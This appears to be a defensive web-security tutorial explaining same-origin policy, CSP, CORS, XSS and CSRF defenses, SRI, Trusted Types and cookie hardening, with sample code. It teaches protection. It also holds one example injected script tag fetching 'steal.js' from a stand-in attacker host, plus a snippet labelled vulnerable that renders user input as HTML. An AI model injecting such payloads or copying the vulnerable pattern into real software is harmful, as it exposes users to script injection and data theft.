Security Boundaries in Modern Web Applications
A practical tour of the browser security model: same-origin policy, CSP, CORS, XSS, and CSRF defenses that compose into a real boundary.
On this page
Introduction
The web platform ships with a security model, not a collection of features you opt into. Same-origin policy, the Content Security Policy, Cross-Origin Resource Sharing, and the HttpOnly, Secure, and SameSite cookie attributes are the walls, doors, and locks of that model. Most vulnerabilities are not exotic zero-days; they are the result of disabling or misconfiguring these mechanisms — a CSP with unsafe-inline, a CORS policy that reflects any origin, a session cookie missing SameSite, an innerHTML that renders user input. This article is a practical tour of the boundaries the browser gives you and how to configure them so they compose into a real defense rather than a list of headers you pasted from a tutorial.
The Same-Origin Policy
The same-origin policy (SOP) is the foundational rule: a script running on https://app.example.com may read resources from https://app.example.com and may not read the response body of a request to https://api.other.com. An origin is the combination of scheme, host, and port; two URLs with different subdomains (app.example.com and api.example.com) are different origins. SOP is what stops an attacker’s page from fetching your bank’s API with the user’s cookies and reading the response.
SOP does not prevent the request from being sent — it prevents the response from being read. This distinction is the source of CSRF (the request is sent with the victim’s cookies) and the reason CORS exists (to let a trusted cross-origin caller read the response under controlled conditions). Understanding SOP is the prerequisite to understanding every other mechanism in this article; they are all either relaxations of it (CORS) or reinforcements of it (CSP).
Content Security Policy
A Content Security Policy is a defense-in-depth mechanism that restricts what the browser will execute on your page, even if an attacker manages to inject HTML. Without a CSP, an XSS that injects <script src="https://evil.example/steal.js"></script> runs that script. With a CSP that does not allow evil.example in script-src, the browser refuses to load it.
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.example.com;
style-src 'self' 'nonce-abc123';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
frame-src 'none';
base-uri 'self';
form-action 'self';
object-src 'none';
Read this policy as a set of allowlists. Scripts may load from your own origin and one CDN; styles may load from your own origin and any style tag carrying the nonce abc123; images may load from your own origin, inline data URIs, and any HTTPS image host; fetch and XHR may connect only to your own origin and your API; frames, plugins, and form submissions are locked to your own origin. The principle is deny by default (default-src 'self') and allow by exception.
The two CSP footguns to avoid are unsafe-inline and unsafe-eval. unsafe-inline permits inline <script> and event handlers, which reopens the XSS door the CSP was meant to close; unsafe-eval permits eval() and new Function(), which does the same. Both are sometimes required by older frameworks, but modern tooling can produce nonce- or hash-based CSPs that avoid them. Start with Content-Security-Policy-Report-Only to collect violations without breaking the page, then enforce once you have resolved the reports.
Cross-Origin Resource Sharing
CORS is the controlled relaxation of SOP for cross-origin reads. When your frontend on https://app.example.com calls https://api.example.com, the browser sends a Sec-Fetch-Mode: cors header and expects the API to respond with Access-Control-Allow-Origin matching the requesting origin (or * for public, credentialless APIs). For credentialed requests (cookies), * is forbidden — the server must echo the specific origin and send Access-Control-Allow-Credentials: true.
The dangerous misconfiguration is reflecting the request’s Origin header verbatim into Access-Control-Allow-Origin while also sending Allow-Credentials: true. This effectively disables CORS for any origin that asks, because every origin is approved. An attacker’s page can now make credentialed requests to your API and read the responses — SOP is defeated by your own server.
const ALLOWED_ORIGINS = new Set(["https://app.example.com", "https://staging.example.com"]);
function corsHeaders(req: Request): Record<string, string> {
const origin = req.headers.get("origin");
if (!origin || !ALLOWED_ORIGINS.has(origin)) return {}; // do not send the header at all
return {
"Access-Control-Allow-Origin": origin, // specific, never *
"Access-Control-Allow-Credentials": "true",
"Vary": "Origin", // cache correctly per origin
};
}
The Vary: Origin header is essential when you echo the origin: without it, a CDN may cache the response approved for one origin and serve it to another. Preflight (OPTIONS) requests for non-simple methods must be handled and cached with a reasonable Access-Control-Max-Age to avoid a preflight round trip on every request.
Cross-Site Scripting
XSS is the injection of attacker-controlled HTML or JavaScript into a page that renders it. The defense is contextual output encoding: every piece of data must be encoded for the context in which it is inserted. Modern frameworks do this automatically — React escapes the children of a JSX expression, Vue escapes {{ }} interpolations — so the vulnerability almost always appears where you explicitly bypass the framework’s escaping: dangerouslySetInnerHTML in React, v-html in Vue, innerHTML in vanilla DOM, or building HTML strings on the server and sending them to the client.
// Vulnerable: renders user input as HTML.
<div dangerouslySetInnerHTML={{ __html: user.bio }} />
// Safe: encodes by default.
<div>{user.bio}</div>
// Safe if you must render rich text: sanitize with an allowlist-based library.
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(user.bio) }} />
When you must render rich text, sanitize with an allowlist-based library like DOMPurify that strips everything except a known set of tags and attributes. A denylist approach (stripping <script> but allowing everything else) is doomed — there are dozens of ways to execute JavaScript without a <script> tag, from event handler attributes to javascript: URLs to SVG. The CSP is your second line of defense: even if an XSS slips through, a strict script-src prevents the injected script from loading an external payload or exfiltrating data.
Cross-Site Request Forgery
CSRF is the abuse of the fact that the browser attaches cookies automatically: an attacker’s page posts to your bank’s transfer endpoint and the request carries the victim’s session cookie. SOP does not help because SOP governs reading the response, not sending the request. Three defenses compose. The SameSite cookie attribute is the primary one: SameSite=Strict prevents the cookie from being sent on cross-site requests at all, and SameSite=Lax (the modern browser default) prevents it on cross-site POST while allowing top-level GET navigations. A CSRF token is the second: a server-generated, per-session token included as a request header or body field that the attacker’s cross-site form cannot read or set because of SOP. The Origin or Sec-Fetch-Site header check is the third: reject state-changing requests whose Sec-Fetch-Site is cross-site.
function csrfGuard(req: Request): void {
if (req.method === "GET") return;
const site = req.headers.get("sec-fetch-site");
if (site && site !== "same-origin" && site !== "same-site") {
throw new Forbidden("cross-site request blocked");
}
const token = req.headers.get("x-csrf-token");
if (token !== req.session.csrfToken) throw new Forbidden("invalid csrf token");
}
For an API consumed by a browser with SameSite=Strict cookies, the CSRF surface is largely closed by the cookie attribute alone; the token and header checks are defense-in-depth. For a same-origin SPA, all three are cheap and worth carrying.
Subresource Integrity, Trusted Types, and Cookie Hardening
Three additional mechanisms round out the browser security boundary for applications that load third-party code or do significant DOM manipulation. Subresource Integrity (SRI) protects against a compromised CDN delivering a tampered script. Trusted Types tames the DOM sinks that XSS exploits. The cookie attributes and prefixes harden the session cookie itself. Each closes a gap the mechanisms above do not.
When you load a script or stylesheet from a CDN, you trust the CDN not to tamper with it. A compromised CDN — and CDNs have been compromised — can inject a malicious payload into a script you load on every page. SRI lets you pin the expected content hash, so the browser refuses to execute the script if it does not match. You add an integrity attribute with the SHA-384 hash of the resource; the browser fetches the resource, hashes it, and compares. A mismatch is a hard block, not a warning.
<script src="https://cdn.example.com/lib.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykMNX+J1nXIV6pP"
crossorigin="anonymous"></script>
Generate the hash at build time from the exact resource you intend to deploy, and update it when you upgrade the dependency. SRI is most valuable for third-party scripts you do not control (analytics, fonts, polyfills) and for your own CDN-hosted assets where a tamper signal is worth the rigidity. It is less useful for resources that change frequently without a versioned URL, because the hash must be updated on every change.
Trusted Types are a browser feature that restricts the DOM sinks that XSS exploits — innerHTML, outerHTML, document.write, eval — to accept only a special TrustedHTML type rather than a raw string. You create a policy that produces TrustedHTML from a string (typically by sanitizing it), and the raw string can no longer reach the sink. An XSS that injects a raw string into innerHTML is rejected at the sink, because the string is not a TrustedHTML. This converts the DOM XSS vulnerability from a runtime possibility into a type error.
if (window.trustedTypes) {
const sanitizer = trustedTypes.createPolicy("sanitizer", {
createHTML: (s: string) => DOMPurify.sanitize(s),
});
el.innerHTML = sanitizer.createHTML(userContent); // only policy output reaches the sink
}
Adopt Trusted Types with Content-Security-Policy: require-trusted-types-for 'script' after defining your policies, and the browser enforces that every DOM sink receives a Trusted Type. This is a strong defense that makes a whole class of XSS impossible by construction, at the cost of routing every dynamic HTML insertion through a policy. For an application that renders user content, it is worth the cost.
The session cookie itself has attributes and prefixes that harden it beyond the HttpOnly, Secure, and SameSite covered earlier. The __Host- prefix is a convention the browser enforces: a cookie whose name begins with __Host- must be set with Secure, Path=/, and no Domain attribute, which guarantees it is a host-only cookie that cannot be overwritten by a subdomain. Use it for your session cookie to prevent a vulnerable subdomain from injecting a session cookie that the main domain would trust. The __Secure- prefix requires only Secure. These prefixes are free hardening — the browser enforces the constraints at set time, and a cookie that violates them is rejected.
res.cookie("__Host-session", token, {
httpOnly: true, secure: true, sameSite: "strict", path: "/",
// no domain -> host-only; the __Host- prefix enforces all of the above
});
Set the Domain attribute deliberately. Omitting it makes the cookie host-only (sent only to the exact host that set it), which is the most restrictive and the safest default. Setting Domain=example.com makes the cookie visible to every subdomain, which is convenient for a single sign-on across subdomains but means a vulnerability on any subdomain can read the cookie (if it is not HttpOnly) or receive it on requests. Prefer host-only cookies and accept the per-subdomain login, or use a dedicated auth subdomain with the other subdomains redirecting to it.
Reporting and the Reporting API
The CSP report-uri and report-to directives send violation reports to an endpoint you control, so you learn of a violation — a blocked inline script, a rejected connection — even when the user sees nothing. Collect the reports, sample them (a CSP violation on a popular page generates a flood of identical reports), and alert on a spike. A violation report is a signal that either an attacker is probing your policy or, more commonly, that your own code violates it and the policy is catching a bug before it reaches the user. Distinguish the two by the script source: a violation from your own origin is a bug to fix; a violation from an unknown origin is an attack to investigate. The reporting endpoint is the feedback loop that turns a CSP from a static policy into a monitored one, and it is the mechanism that lets you tighten the policy with confidence — you see what breaks before the users do.
Composing the Boundary
No single mechanism is sufficient; their power is in composition. SameSite cookies close the CSRF door; CORS with a specific origin controls cross-origin reads; SOP is the substrate both rely on; a strict CSP limits the damage of any XSS that slips through; contextual encoding prevents the XSS in the first place. Configure all of them, test that they are present and correct (a response without the Content-Security-Policy header is a regression), and treat the absence of any one as a build failure. The browser gives you a security model for free — the work is in not turning it off.
Report a problem with this articleOpens a pre-filled issue on GitHub.